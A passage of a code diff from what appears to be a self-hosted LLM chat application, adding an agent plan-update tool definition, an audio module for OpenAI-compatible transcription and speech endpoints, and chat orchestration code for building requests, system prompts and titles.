||||
"task finishes, when something you find changes what needs doing, "
|
||||
"and when a task turns out to be unnecessary — as you go, not at "
|
||||
"the end. The plan is what somebody reads to see where you are.\n"
|
||||
"\n"
|
||||
"Quote the ids from the plan in your prompt: tasks are t1, t2 and "
|
||||
"so on, objectives are o1. This does not end your turn; carry on "
|
||||
"with the work afterwards."
|
||||
),
|
||||
parameters={
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"task_status": {
|
||||
"type": "array",
|
||||
"description": "Tasks whose state has changed.",
|
||||
"items": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": {**_STRING, "description": "The task id, e.g. t3."},
|
||||
"status": {
|
||||
**_STRING,
|
||||
"description": "todo, doing, done or dropped.",
|
||||
},
|
||||
"note": {
|
||||
**_STRING,
|
||||
"description": "A short note about it. Optional.",
|
||||
},
|
||||
},
|
||||
"required": ["id", "status"],
|
||||
},
|
||||
},
|
||||
"objective_status": {
|
||||
"type": "array",
|
||||
"description": "Objectives whose state has changed.",
|
||||
"items": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": {**_STRING, "description": "The objective id, e.g. o1."},
|
||||
"status": {
|
||||
**_STRING,
|
||||
"description": "open, done or dropped.",
|
||||
},
|
||||
},
|
||||
"required": ["id", "status"],
|
||||
},
|
||||
},
|
||||
"findings": {
|
||||
"type": "array",
|
||||
"items": _STRING,
|
||||
"description": "Anything new you have established.",
|
||||
},
|
||||
"add_tasks": {
|
||||
"type": "array",
|
||||
"description": "Work the plan did not anticipate.",
|
||||
"items": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"text": {**_STRING, "description": "The task."},
|
||||
"phase": {
|
||||
**_STRING,
|
||||
"description": (
|
||||
"Which phase it belongs to, e.g. p2. "
|
||||
"Defaults to the one in progress."
|
||||
),
|
||||
},
|
||||
},
|
||||
"required": ["text"],
|
||||
},
|
||||
},
|
||||
"summary": {**_STRING, "description": "Where things stand, in a line."},
|
||||
},
|
||||
"required": [],
|
||||
},
|
||||
run=_run_plan_update,
|
||||
# See `_run_plan_update`: it cannot touch the machine, and asking
|
||||
# about it would mean an approval card per ticked-off task.
|
||||
risk=RISK_READ,
|
||||
),
|
||||
]
|
||||
if context is None:
|
||||
return defs
|
||||
|
||||
# `plan_submit` in Plan mode and nowhere else; `plan_update` everywhere
|
||||
# else, and only once there is a plan to update. Offering it with no plan
|
||||
# would be the skills asymmetry again -- a tool for changing something that
|
||||
# does not exist, which costs a round to find out.
|
||||
drop = {"plan_submit"} if context.mode != policy.MODE_PLAN else {"plan_update"}
|
||||
if not context.plan:
|
||||
drop.add("plan_update")
|
||||
return [tool for tool in defs if tool.name not in drop]
|
||||
|
||||
|
||||
__all__ = ["FAMILY_AGENT", "MAX_DIFF_LINES", "MAX_EVENT_CHARS", "tool_defs"]
|
||||
@@ -0,0 +1,300 @@
|
||||
"""Speech to text and text to speech, against OpenAI-shaped audio endpoints.
|
||||
|
||||
The same reasoning as the chat client: plain httpx rather than an SDK, because
|
||||
the target is not api.openai.com so much as whisper.cpp's server, Speaches,
|
||||
faster-whisper-server, Kokoro and anything else exposing ``/v1/audio/*``. They
|
||||
agree on the request and disagree politely about the response, so this is
|
||||
tolerant about what comes back.
|
||||
|
||||
Two endpoints, not one. A local install almost always runs transcription and
|
||||
speech as separate processes -- they are different models on different
|
||||
schedules -- and forcing them onto one base URL would mean the common case
|
||||
could not be configured at all.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import time
|
||||
from collections.abc import AsyncIterator
|
||||
from typing import Any
|
||||
|
||||
import httpx
|
||||
|
||||
from lembas.config import settings as env_settings
|
||||
from lembas.services.crypto import decrypt
|
||||
from lembas.services.llm.openai_client import (
|
||||
Endpoint,
|
||||
LLMError,
|
||||
describe_http_error,
|
||||
wrap_transport_error,
|
||||
)
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# api.openai.com has no endpoint that lists voices, so when one is not offered
|
||||
# these are what a caller can reasonably assume. Anything else -- Kokoro's sixty
|
||||
# or so -- is discovered.
|
||||
OPENAI_VOICES = ("alloy", "echo", "fable", "onyx", "nova", "shimmer")
|
||||
|
||||
# Formats every player in a browser can decode. opus is deliberately absent:
|
||||
# some endpoints emit it in an ogg container that Safari will not play.
|
||||
FORMATS = ("mp3", "wav", "flac", "aac")
|
||||
|
||||
# Discovery is cached because the voice list is read every time anyone opens
|
||||
# their settings, and waking a model server to answer that is rude.
|
||||
_VOICE_TTL = 300.0
|
||||
_voice_cache: dict[str, tuple[float, list[str]]] = {}
|
||||
|
||||
|
||||
def endpoint_for(config: dict[str, Any], side: str) -> Endpoint:
|
||||
"""Build an Endpoint from the stored audio settings.
|
||||
|
||||
`side` is "stt" or "tts". Endpoint is a frozen snapshot with the key
|
||||
already decrypted, so nothing downstream has to know the secret was ever
|
||||
encrypted -- or hold a database session while it streams.
|
||||
"""
|
||||
base_url = (config.get(f"{side}_base_url") or "").strip()
|
||||
if not base_url:
|
||||
raise LLMError("No audio endpoint has been configured.")
|
||||
return Endpoint(
|
||||
base_url=base_url.rstrip("/"),
|
||||
api_key=decrypt(config.get(f"{side}_api_key_encrypted") or ""),
|
||||
extra_headers={},
|
||||
name=base_url,
|
||||
)
|
||||
|
||||
|
||||
async def transcribe(
|
||||
endpoint: Endpoint,
|
||||
*,
|
||||
data: bytes,
|
||||
filename: str,
|
||||
content_type: str,
|
||||
model: str = "whisper-1",
|
||||
language: str = "",
|
||||
) -> str:
|
||||
"""Turn recorded audio into text.
|
||||
|
||||
`model` is sent even to servers that ignore it: whisper.cpp serves one model
|
||||
and does not care, while a router in front of several will not dispatch
|
||||
without it. `language` is omitted when empty, which is what asks the server
|
||||
to detect it -- sending an empty string instead makes some of them fail.
|
||||
"""
|
||||
form: dict[str, Any] = {"model": model, "response_format": "json"}
|
||||
if language:
|
||||
form["language"] = language
|
||||
|
||||
try:
|
||||
async with httpx.AsyncClient(timeout=env_settings.request_timeout) as client:
|
||||
response = await client.post(
|
||||
endpoint.url("audio/transcriptions"),
|
||||
headers=_headers_without_content_type(endpoint),
|
||||
data=form,
|
||||
files={"file": (filename, data, content_type or "application/octet-stream")},
|
||||
)
|
||||
response.raise_for_status()
|
||||
except httpx.HTTPStatusError as exc:
|
||||
raise LLMError(describe_http_error(exc), status_code=exc.response.status_code) from exc
|
||||
except httpx.RequestError as exc:
|
||||
raise wrap_transport_error(exc, endpoint) from exc
|
||||
|
||||
try:
|
||||
payload = response.json()
|
||||
except ValueError:
|
||||
# response_format=text is what some servers give regardless of the ask.
|
||||
return response.text.strip()
|
||||
|
||||
if isinstance(payload, dict):
|
||||
text = payload.get("text")
|
||||
if isinstance(text, str):
|
||||
return text.strip()
|
||||
error = payload.get("error")
|
||||
if error:
|
||||
raise LLMError(str(error))
|
||||
raise LLMError("The transcription endpoint returned no text.")
|
||||
|
||||
|
||||
async def speak(
|
||||
endpoint: Endpoint,
|
||||
text: str,
|
||||
*,
|
||||
model: str = "tts-1",
|
||||
voice: str = "",
|
||||
fmt: str = "mp3",
|
||||
speed: float = 1.0,
|
||||
) -> tuple[str, AsyncIterator[bytes]]:
|
||||
"""Synthesise speech, returning its content type and a byte stream.
|
||||
|
||||
Streamed rather than buffered: a long reply is a lot of audio, and playback
|
||||
can start on the first chunk instead of after the last.
|
||||
"""
|
||||
if not text.strip():
|
||||
raise LLMError("There is nothing to read out.")
|
||||
|
||||
body: dict[str, Any] = {
|
||||
"model": model,
|
||||
"input": text,
|
||||
"response_format": fmt if fmt in FORMATS else "mp3",
|
||||
}
|
||||
if voice:
|
||||
body["voice"] = voice
|
||||
if speed and speed != 1.0:
|
||||
body["speed"] = speed
|
||||
|
||||
client = httpx.AsyncClient(timeout=env_settings.request_timeout)
|
||||
try:
|
||||
request = client.build_request(
|
||||
"POST", endpoint.url("audio/speech"), headers=endpoint.headers(), json=body
|
||||
)
|
||||
response = await client.send(request, stream=True)
|
||||
if response.status_code >= 400:
|
||||
# Nothing has been read yet on a streaming response, and the error
|
||||
# detail is in the body.
|
||||
await response.aread()
|
||||
response.raise_for_status()
|
||||
except httpx.HTTPStatusError as exc:
|
||||
await client.aclose()
|
||||
raise LLMError(describe_http_error(exc), status_code=exc.response.status_code) from exc
|
||||
except httpx.RequestError as exc:
|
||||
await client.aclose()
|
||||
raise wrap_transport_error(exc, endpoint) from exc
|
||||
except Exception:
|
||||
await client.aclose()
|
||||
raise
|
||||
|
||||
media_type = response.headers.get("content-type", f"audio/{body['response_format']}")
|
||||
|
||||
async def stream() -> AsyncIterator[bytes]:
|
||||
# The client is closed here rather than by the caller: it has to outlive
|
||||
# this function, and a response abandoned without aclose leaks a socket.
|
||||
try:
|
||||
async for chunk in response.aiter_bytes():
|
||||
yield chunk
|
||||
finally:
|
||||
await response.aclose()
|
||||
await client.aclose()
|
||||
|
||||
return media_type, stream()
|
||||
|
||||
|
||||
async def voices(endpoint: Endpoint, *, refresh: bool = False) -> list[str]:
|
||||
"""Voices the speech endpoint offers, newest answer cached briefly.
|
||||
|
||||
Falls back to the OpenAI six on a 404, which is not an error: the official
|
||||
API simply has no such endpoint, and its voices are a fixed list everyone
|
||||
already knows.
|
||||
"""
|
||||
key = endpoint.base_url
|
||||
cached = _voice_cache.get(key)
|
||||
if cached and not refresh and time.monotonic() - cached[0] < _VOICE_TTL:
|
||||
return cached[1]
|
||||
|
||||
try:
|
||||
async with httpx.AsyncClient(timeout=15.0) as client:
|
||||
response = await client.get(
|
||||
endpoint.url("audio/voices"), headers=endpoint.headers()
|
||||
)
|
||||
if response.status_code == 404:
|
||||
found = list(OPENAI_VOICES)
|
||||
_voice_cache[key] = (time.monotonic(), found)
|
||||
return found
|
||||
response.raise_for_status()
|
||||
payload = response.json()
|
||||
except httpx.HTTPStatusError as exc:
|
||||
raise LLMError(describe_http_error(exc), status_code=exc.response.status_code) from exc
|
||||
except httpx.RequestError as exc:
|
||||
raise wrap_transport_error(exc, endpoint) from exc
|
||||
except ValueError as exc:
|
||||
raise LLMError("The endpoint returned a response that was not JSON.") from exc
|
||||
|
||||
found = _parse_voices(payload)
|
||||
if not found:
|
||||
found = list(OPENAI_VOICES)
|
||||
_voice_cache[key] = (time.monotonic(), found)
|
||||
return found
|
||||
|
||||
|
||||
def _parse_voices(payload: Any) -> list[str]:
|
||||
"""Pull voice names out of whatever shape the server chose.
|
||||
|
||||
Kokoro answers ``{"voices": [{"id": "af_heart", ...}]}``; older builds and
|
||||
some others answer ``{"voices": ["af_heart", ...]}``; a couple return the
|
||||
bare list. All three are the same information.
|
||||
"""
|
||||
entries = payload
|
||||
if isinstance(payload, dict):
|
||||
for field in ("voices", "data"):
|
||||
if isinstance(payload.get(field), list):
|
||||
entries = payload[field]
|
||||
break
|
||||
if not isinstance(entries, list):
|
||||
return []
|
||||
|
||||
names: list[str] = []
|
||||
for entry in entries:
|
||||
if isinstance(entry, str) and entry:
|
||||
names.append(entry)
|
||||
elif isinstance(entry, dict):
|
||||
name = entry.get("id") or entry.get("name") or entry.get("voice")
|
||||
if isinstance(name, str) and name:
|
||||
names.append(name)
|
||||
# Sorted and de-duplicated: sixty voices in the server's arbitrary order is
|
||||
# not a list anyone can pick from.
|
||||
return sorted(dict.fromkeys(names))
|
||||
|
||||
|
||||
def _headers_without_content_type(endpoint: Endpoint) -> dict[str, str]:
|
||||
"""Endpoint headers minus Content-Type.
|
||||
|
||||
httpx sets the multipart Content-Type itself, including the boundary.
|
||||
Leaving the JSON one in place overrides it and the server sees a body it
|
||||
cannot parse.
|
||||
"""
|
||||
return {k: v for k, v in endpoint.headers().items() if k.lower() != "content-type"}
|
||||
|
||||
|
||||
def forget_voices() -> None:
|
||||
"""Drop the discovery cache. Used when an administrator changes the URL."""
|
||||
_voice_cache.clear()
|
||||
|
||||
|
||||
def template_flags(db, user) -> dict[str, Any]:
|
||||
"""What the chat templates need to know about audio.
|
||||
|
||||
Lives here rather than in one page module because a message bubble is
|
||||
rendered from four places -- the chat page, the two message endpoints, and
|
||||
the SSE stream, which has no request at all -- and each of them needs the
|
||||
same three booleans. Getting one of them wrong is how a speaker button ends
|
||||
up on a page that cannot use it.
|
||||
"""
|
||||
from lembas.security import permissions
|
||||
from lembas.services import settings_store
|
||||
|
||||
config = settings_store.audio(db)
|
||||
allowed = permissions.resolve(db, user)
|
||||
listen = bool(config.get("tts_enabled")) and allowed.get("audio.listen", False)
|
||||
preferences = (user.settings_json or {}).get("audio") or {} if user else {}
|
||||
|
||||
return {
|
||||
"audio": config,
|
||||
"user_audio": preferences,
|
||||
"can_dictate": bool(config.get("stt_enabled"))
|
||||
and allowed.get("audio.transcribe", False),
|
||||
"can_listen": listen,
|
||||
# Only meaningful when can_listen; the template guards on both.
|
||||
"audio_autoplay": listen
|
||||
and bool(preferences.get("autoplay", config.get("tts_autoplay"))),
|
||||
}
|
||||
|
||||
|
||||
__all__ = [
|
||||
"FORMATS",
|
||||
"OPENAI_VOICES",
|
||||
"LLMError",
|
||||
"endpoint_for",
|
||||
"forget_voices",
|
||||
"speak",
|
||||
"transcribe",
|
||||
"voices",
|
||||
]
|
||||
@@ -0,0 +1,584 @@
|
||||
"""Chat orchestration: building requests, streaming replies, naming chats."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from datetime import UTC, datetime, timedelta
|
||||
from typing import Any
|
||||
|
||||
from sqlalchemy import func, select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import (
|
||||
ROLE_ASSISTANT,
|
||||
ROLE_SYSTEM,
|
||||
ROLE_USER,
|
||||
Chat,
|
||||
Connection,
|
||||
Message,
|
||||
Model,
|
||||
)
|
||||
from lembas.services import files as files_service
|
||||
from lembas.services.llm.openai_client import Endpoint, LLMError, complete
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# Sampling keys forwarded upstream. Anything else a user puts in params_json is
|
||||
# ignored rather than passed through, so a typo cannot produce a 400 from the
|
||||
# provider that looks like a LLeMbas bug.
|
||||
FORWARDED_PARAMS = frozenset(
|
||||
{"temperature", "top_p", "max_tokens", "presence_penalty", "frequency_penalty",
|
||||
"seed", "stop"}
|
||||
)
|
||||
|
||||
MAX_TITLE_LENGTH = 60
|
||||
|
||||
# How long a temporary chat survives after the last thing said in it.
|
||||
TEMPORARY_LIFETIME = timedelta(hours=24)
|
||||
|
||||
|
||||
def resolve_endpoint(db: DBSession, chat: Chat) -> tuple[Endpoint, str]:
|
||||
"""Find the connection and model a chat should use.
|
||||
|
||||
Chats store the model id as text rather than a foreign key so history
|
||||
survives an admin deleting a connection, which means the mapping back to a
|
||||
live connection has to be resolved at send time and can legitimately fail.
|
||||
"""
|
||||
if not chat.model_id:
|
||||
raise LLMError("This chat has no model selected.")
|
||||
|
||||
connection: Connection | None = None
|
||||
if chat.connection_id:
|
||||
connection = db.get(Connection, chat.connection_id)
|
||||
|
||||
if connection is None or not connection.enabled:
|
||||
# The original connection is gone or disabled. Any enabled connection
|
||||
# still offering this model id will do.
|
||||
model = db.scalar(
|
||||
select(Model)
|
||||
.join(Connection)
|
||||
.where(
|
||||
Model.model_id == chat.model_id,
|
||||
Model.enabled.is_(True),
|
||||
Connection.enabled.is_(True),
|
||||
)
|
||||
.order_by(Connection.position)
|
||||
)
|
||||
if model is None:
|
||||
raise LLMError(
|
||||
f"No enabled connection currently offers the model "
|
||||
f"'{chat.model_id}'. Pick another model for this chat."
|
||||
)
|
||||
connection = model.connection
|
||||
chat.connection_id = connection.id
|
||||
db.commit()
|
||||
|
||||
return Endpoint.from_connection(connection), chat.model_id
|
||||
|
||||
|
||||
def document_context(message: Message) -> str:
|
||||
"""Extracted text from a message's non-image attachments.
|
||||
|
||||
Wrapped in named tags so the model can tell one document from another, and
|
||||
tell all of them from what the user actually typed. Truncation is stated
|
||||
inline rather than silently, so a model asked about page 400 of a 300-page
|
||||
extract can say it did not see it.
|
||||
"""
|
||||
blocks: list[str] = []
|
||||
for attachment in message.documents:
|
||||
if not attachment.extracted_text.strip():
|
||||
continue
|
||||
note = " (truncated)" if attachment.truncated else ""
|
||||
# Where it came from, when there is a where. A model handed `main.py`
|
||||
# cannot tell which of four it is looking at, and cannot name the file
|
||||
# back when asked to change something -- so a file read off a machine
|
||||
# says which machine and which path. Quotes are stripped rather than
|
||||
# escaped: these are attribute values in a tag the model reads, and a
|
||||
# path containing one would otherwise close it early.
|
||||
where = ""
|
||||
if attachment.source_path:
|
||||
where += f' path="{_attr(attachment.source_path)}"'
|
||||
if attachment.source_label:
|
||||
where += f' from="{_attr(attachment.source_label)}"'
|
||||
blocks.append(
|
||||
f'<document name="{_attr(attachment.filename)}"{where}{note}>\n'
|
||||
f"{attachment.extracted_text.strip()}\n"
|
||||
f"</document>"
|
||||
)
|
||||
return "\n\n".join(blocks)
|
||||
|
||||
|
||||
def _attr(value: str) -> str:
|
||||
"""A value safe to sit inside the double quotes of a tag we are writing."""
|
||||
return value.replace('"', "").replace("<", "").replace(">", "").replace("\n", " ")
|
||||
|
||||
|
||||
def message_payload(message: Message, *, vision: bool) -> dict[str, Any]:
|
||||
"""One history entry in the shape the endpoint expects.
|
||||
|
||||
Plain text stays a plain string: sending the multimodal list form to an
|
||||
endpoint that does not implement it is a reliable way to get a 400, and
|
||||
most local runners do not.
|
||||
"""
|
||||
text = message.content.strip()
|
||||
|
||||
documents = document_context(message)
|
||||
if documents:
|
||||
# Documents lead so the question that follows has its material already
|
||||
# in view, which is how these models are trained to read a prompt.
|
||||
text = f"{documents}\n\n{text}" if text else documents
|
||||
|
||||
images = message.images if vision else []
|
||||
if not images:
|
||||
return {"role": message.role, "content": text}
|
||||
|
||||
parts: list[dict[str, Any]] = []
|
||||
if text:
|
||||
parts.append({"type": "text", "text": text})
|
||||
for attachment in images:
|
||||
uri = files_service.data_uri(attachment)
|
||||
if uri is None:
|
||||
# The row survived but the file did not. Better to say so than to
|
||||
# send a turn that silently lost its picture.
|
||||
log.warning("attachment %s has no file on disk", attachment.id)
|
||||
continue
|
||||
parts.append({"type": "image_url", "image_url": {"url": uri}})
|
||||
|
||||
if not parts:
|
||||
return {"role": message.role, "content": text}
|
||||
return {"role": message.role, "content": parts}
|
||||
|
||||
|
||||
def effective_system_prompt(db: DBSession, chat: Chat) -> str:
|
||||
"""The system prompt a chat actually runs with.
|
||||
|
||||
Three layers, most specific wins outright:
|
||||
|
||||
chat > model > instance
|
||||
|
||||
Precedence rather than concatenation. Stacking them reads well in a
|
||||
settings screen and badly in practice: the moment two layers disagree the
|
||||
model gets contradictory instructions and nobody can tell which one is
|
||||
losing. With precedence, "why is it behaving like this" has one answer.
|
||||
"""
|
||||
from lembas.services import settings_store
|
||||
|
||||
if chat.system_prompt.strip():
|
||||
return chat.system_prompt.strip()
|
||||
|
||||
model = db.scalar(
|
||||
select(Model).where(Model.model_id == chat.model_id).order_by(Model.position)
|
||||
)
|
||||
if model is not None and (model.system_prompt or "").strip():
|
||||
return model.system_prompt.strip()
|
||||
|
||||
return (settings_store.get(db, "system_prompt") or "").strip()
|
||||
|
||||
|
||||
def build_messages(
|
||||
db: DBSession,
|
||||
chat: Chat,
|
||||
*,
|
||||
upto: Message | None = None,
|
||||
vision: bool = False,
|
||||
system_prompt: str | None = None,
|
||||
) -> list[dict]:
|
||||
"""Assemble the message list to send upstream.
|
||||
|
||||
`upto` excludes the placeholder assistant row being generated into, and
|
||||
everything after it. `system_prompt` overrides what would otherwise be
|
||||
resolved, which is how the harness gets in front of the authored prompt
|
||||
without this function knowing anything about tools.
|
||||
"""
|
||||
from lembas.services import compaction as compaction_service
|
||||
from lembas.services import prompts as prompts_service
|
||||
|
||||
payload: list[dict[str, Any]] = []
|
||||
system = effective_system_prompt(db, chat) if system_prompt is None else system_prompt
|
||||
if system:
|
||||
payload.append({"role": ROLE_SYSTEM, "content": system})
|
||||
|
||||
# Compacted turns are replaced by a summary carried in two turns rather than
|
||||
# one. A leading `assistant` breaks templates that require the first
|
||||
# non-system message to be `user`; a lone leading `user` produces user, user
|
||||
# whenever the kept history starts on a user turn -- which it always does,
|
||||
# because the cutoff lands on a finished reply. The pair alternates
|
||||
# correctly in both directions and keeps exactly one system message.
|
||||
cutoff = compaction_service.cutoff_message(db, chat)
|
||||
if cutoff is not None:
|
||||
lead = prompts_service.resolve(db, "task.compact_lead").strip()
|
||||
ack = prompts_service.resolve(db, "task.compact_ack").strip()
|
||||
summary = chat.compact_summary.strip()
|
||||
payload.append(
|
||||
{"role": ROLE_USER, "content": f"{lead}\n\n{summary}" if lead else summary}
|
||||
)
|
||||
if ack:
|
||||
payload.append({"role": ROLE_ASSISTANT, "content": ack})
|
||||
|
||||
history = db.scalars(
|
||||
select(Message).where(Message.chat_id == chat.id).order_by(Message.created_at)
|
||||
).all()
|
||||
|
||||
for message in history:
|
||||
if upto is not None and message.id == upto.id:
|
||||
break
|
||||
if cutoff is not None and compaction_service.moment(
|
||||
message
|
||||
) <= compaction_service.moment(cutoff):
|
||||
continue
|
||||
# Typed while the previous reply was still being written, and not yet
|
||||
# handed to a model. It is in the transcript and it is not in the
|
||||
# request; delivery is what moves it from one to the other.
|
||||
if message.queued:
|
||||
continue
|
||||
# Skip turns that failed or produced nothing -- but a message carrying
|
||||
# only an attachment has no text and must still be sent.
|
||||
if message.error:
|
||||
continue
|
||||
if not message.content.strip() and not message.attachments:
|
||||
continue
|
||||
payload.append(message_payload(message, vision=vision))
|
||||
|
||||
return payload
|
||||
|
||||
|
||||
def model_for(db: DBSession, chat: Chat) -> Model | None:
|
||||
"""The Model row a chat is using, or None if it has gone.
|
||||
|
||||
Looked up by id rather than held as a foreign key, for the same reason
|
||||
resolve_endpoint does: chats store the model as text so history survives an
|
||||
administrator deleting a connection.
|
||||
"""
|
||||
return db.scalar(
|
||||
select(Model).where(Model.model_id == chat.model_id).order_by(Model.position)
|
||||
)
|
||||
|
||||
|
||||
def model_supports(db: DBSession, chat: Chat, capability: str) -> bool:
|
||||
"""Whether the chat's current model is marked as having a capability."""
|
||||
model = model_for(db, chat)
|
||||
return bool(model and (model.capabilities_json or {}).get(capability))
|
||||
|
||||
|
||||
def build_request(
|
||||
db: DBSession,
|
||||
chat: Chat,
|
||||
*,
|
||||
upto: Message | None = None,
|
||||
tools: list[dict[str, Any]] | None = None,
|
||||
user=None,
|
||||
) -> dict[str, Any]:
|
||||
"""The whole request body, tools and harness included.
|
||||
|
||||
Composed here rather than in the generation loop so that "what gets sent"
|
||||
has one answer, and so the harness cannot be forgotten by a future caller
|
||||
that offers tools.
|
||||
"""
|
||||
from lembas.services import harness as harness_service
|
||||
from lembas.services import prompts as prompts_service
|
||||
|
||||
params = {
|
||||
key: value
|
||||
for key, value in (chat.params_json or {}).items()
|
||||
if key in FORWARDED_PARAMS and value not in (None, "")
|
||||
}
|
||||
# Images are only sent to a model an administrator has marked as having
|
||||
# vision. Sending them to one that has not is not a graceful degradation:
|
||||
# most endpoints reject the whole request.
|
||||
vision = model_supports(db, chat, "vision")
|
||||
|
||||
if user is None:
|
||||
from lembas.db.models import User
|
||||
|
||||
user = db.get(User, chat.user_id)
|
||||
|
||||
# The harness describes the tools; the authored prompt describes the
|
||||
# behaviour. See services/harness.py for why these are joined rather than
|
||||
# being two competing layers.
|
||||
system = harness_service.join(
|
||||
harness_service.compose(db, user, tools, chat),
|
||||
effective_system_prompt(db, chat),
|
||||
lead=prompts_service.render(db, "seam.authored_lead", {}),
|
||||
)
|
||||
|
||||
body: dict[str, Any] = {
|
||||
"model": chat.model_id,
|
||||
"messages": build_messages(
|
||||
db, chat, upto=upto, vision=vision, system_prompt=system
|
||||
),
|
||||
**params,
|
||||
}
|
||||
if tools:
|
||||
body["tools"] = tools
|
||||
|
||||
apply_effort(body, (chat.params_json or {}).get("reasoning_effort"))
|
||||
return body
|
||||
|
||||
|
||||
# Reasoning effort, and why it goes out twice.
|
||||
#
|
||||
# There is no one field that works. OpenAI and vLLM read a plain
|
||||
# `reasoning_effort`. llama.cpp reads it too and, per its own documentation,
|
||||
# "other values (e.g. 'low', 'max') have no effect" -- its maintainer is blunter
|
||||
# still: "llama-server cannot support reasoning_effort at all", and the field
|
||||
# "simply gets dropped without error or logging". What *does* reach a gpt-oss
|
||||
# behind llama.cpp is `chat_template_kwargs`, which it accepts per request.
|
||||
#
|
||||
# So both are sent, and only when an effort has actually been chosen. That
|
||||
# second half is what keeps this from being a regression: a chat nobody has set
|
||||
# an effort on sends neither field and is byte-for-byte what it was. An endpoint
|
||||
# strict about unknown parameters will refuse the extra one -- but on a chat
|
||||
# somebody deliberately set an effort on, not on every chat in the instance.
|
||||
EFFORTS = ("low", "medium", "high")
|
||||
|
||||
|
||||
def resolved_effort(chat) -> str:
|
||||
"""The effort this chat will actually send, or "" for none.
|
||||
|
||||
Its own value, and nothing else. The model's default is a **seed** applied
|
||||
when the chat is created (`api/chats.py:_new_chat`) and on a model change,
|
||||
and is deliberately not consulted here for two reasons. A chat's request
|
||||
should be a function of the chat row alone -- the same rule that has PDF
|
||||
text extracted once at upload and knowledge attachments copied. And a
|
||||
fallback would break "off": `update_chat` stores `None` for a cleared
|
||||
effort, a fallback would resurrect the model's default underneath it, and
|
||||
the off option would silently do nothing.
|
||||
|
||||
The picker shows exactly this, which is the whole point of it existing:
|
||||
"Effort: default" named no level and was true of nothing in particular.
|
||||
"""
|
||||
value = (getattr(chat, "params_json", None) or {}).get("reasoning_effort")
|
||||
return value if value in EFFORTS else ""
|
||||
|
||||
|
||||
def apply_effort(body: dict[str, Any], effort: str | None) -> None:
|
||||
"""Put a chosen reasoning effort into a request body, in both forms."""
|
||||
if not effort or effort not in EFFORTS:
|
||||
return
|
||||
body["reasoning_effort"] = effort
|
||||
kwargs = dict(body.get("chat_template_kwargs") or {})
|
||||
kwargs["reasoning_effort"] = effort
|
||||
body["chat_template_kwargs"] = kwargs
|
||||
|
||||
|
||||
def default_model(db: DBSession, user=None) -> tuple[str, str] | None:
|
||||
"""The model a new chat should start with, as (model_id, connection_id).
|
||||
|
||||
Preference order: the user's own choice, then the instance default, then
|
||||
whatever is first in the admin's ordering. Each is checked against what the
|
||||
user may actually reach, so a default they have lost access to falls
|
||||
through rather than producing a chat they cannot use.
|
||||
"""
|
||||
from lembas.security import permissions
|
||||
from lembas.services import settings_store
|
||||
|
||||
reachable = permissions.models_visible_to(db, user)
|
||||
if not reachable:
|
||||
return None
|
||||
|
||||
by_id = {model.model_id: model for model in reachable}
|
||||
|
||||
preferred = (user.settings_json or {}).get("default_model") if user is not None else None
|
||||
if preferred and preferred in by_id:
|
||||
return preferred, by_id[preferred].connection_id
|
||||
|
||||
instance_default = settings_store.get(db, "default_model")
|
||||
if instance_default and instance_default in by_id:
|
||||
return instance_default, by_id[instance_default].connection_id
|
||||
|
||||
# First in the administrator's ordering. Pinning is a sidebar shortcut, not
|
||||
# a reordering, so it deliberately does not influence this.
|
||||
chosen = sorted(reachable, key=lambda m: (m.position, m.model_id))[0]
|
||||
return chosen.model_id, chosen.connection_id
|
||||
|
||||
|
||||
def available_models(db: DBSession, user=None) -> list[Model]:
|
||||
"""Models this user may start a chat with, in the administrator's order.
|
||||
|
||||
Pinning does NOT hoist a model up this list: pinned models get their own
|
||||
shortcuts in the sidebar, and a picker whose order silently differs from
|
||||
the one configured in the admin screen is just confusing.
|
||||
"""
|
||||
from lembas.security import permissions
|
||||
|
||||
reachable = permissions.models_visible_to(db, user)
|
||||
return sorted(reachable, key=lambda m: (m.position, m.model_id))
|
||||
|
||||
|
||||
def fallback_title(text: str) -> str:
|
||||
"""Derive a chat title from the opening message, without calling a model."""
|
||||
cleaned = " ".join(text.split())
|
||||
if not cleaned:
|
||||
return "New chat"
|
||||
if len(cleaned) <= MAX_TITLE_LENGTH:
|
||||
return cleaned
|
||||
# Prefer a word boundary, but only if it does not cut the title in half.
|
||||
clipped = cleaned[:MAX_TITLE_LENGTH]
|
||||
space = clipped.rfind(" ")
|
||||
if space > MAX_TITLE_LENGTH * 0.6:
|
||||
clipped = clipped[:space]
|
||||
return clipped.rstrip(" ,.;:-") + "…"
|
||||
|
||||
|
||||
async def generate_title(
|
||||
endpoint: Endpoint, model_id: str, question: str, answer: str, *, template: str
|
||||
) -> str:
|
||||
"""Ask the model for a short chat title.
|
||||
|
||||
Best-effort by design: any failure falls back to trimming the first
|
||||
message. Naming a chat is never worth surfacing an error for.
|
||||
|
||||
`template` is passed in rather than read here because this runs after the
|
||||
generation's session has closed -- see `generation._run`. An empty one means
|
||||
an administrator cleared the fragment, which is how auto-titling is turned
|
||||
off: no request is made at all.
|
||||
"""
|
||||
from lembas.services import prompts as prompts_service
|
||||
|
||||
if not template.strip():
|
||||
return fallback_title(question)
|
||||
|
||||
prompt = prompts_service.substitute(
|
||||
template, {"question": question[:500], "answer": answer[:500]}
|
||||
)
|
||||
try:
|
||||
raw = await complete(
|
||||
endpoint,
|
||||
{
|
||||
"model": model_id,
|
||||
"messages": [{"role": ROLE_USER, "content": prompt}],
|
||||
"max_tokens": 24,
|
||||
"temperature": 0.2,
|
||||
},
|
||||
)
|
||||
except LLMError as exc:
|
||||
log.debug("auto-title failed, using fallback: %s", exc)
|
||||
return fallback_title(question)
|
||||
|
||||
title = " ".join(raw.split()).strip().strip('"“”\'')
|
||||
# Small models sometimes ignore the instruction and answer the question
|
||||
# instead; an over-long reply is a better signal of that than anything else.
|
||||
if not title or len(title) > MAX_TITLE_LENGTH * 1.5:
|
||||
return fallback_title(question)
|
||||
return title[:MAX_TITLE_LENGTH]
|
||||
|
||||
|
||||
def create_message(
|
||||
db: DBSession,
|
||||
chat: Chat,
|
||||
role: str,
|
||||
content: str = "",
|
||||
*,
|
||||
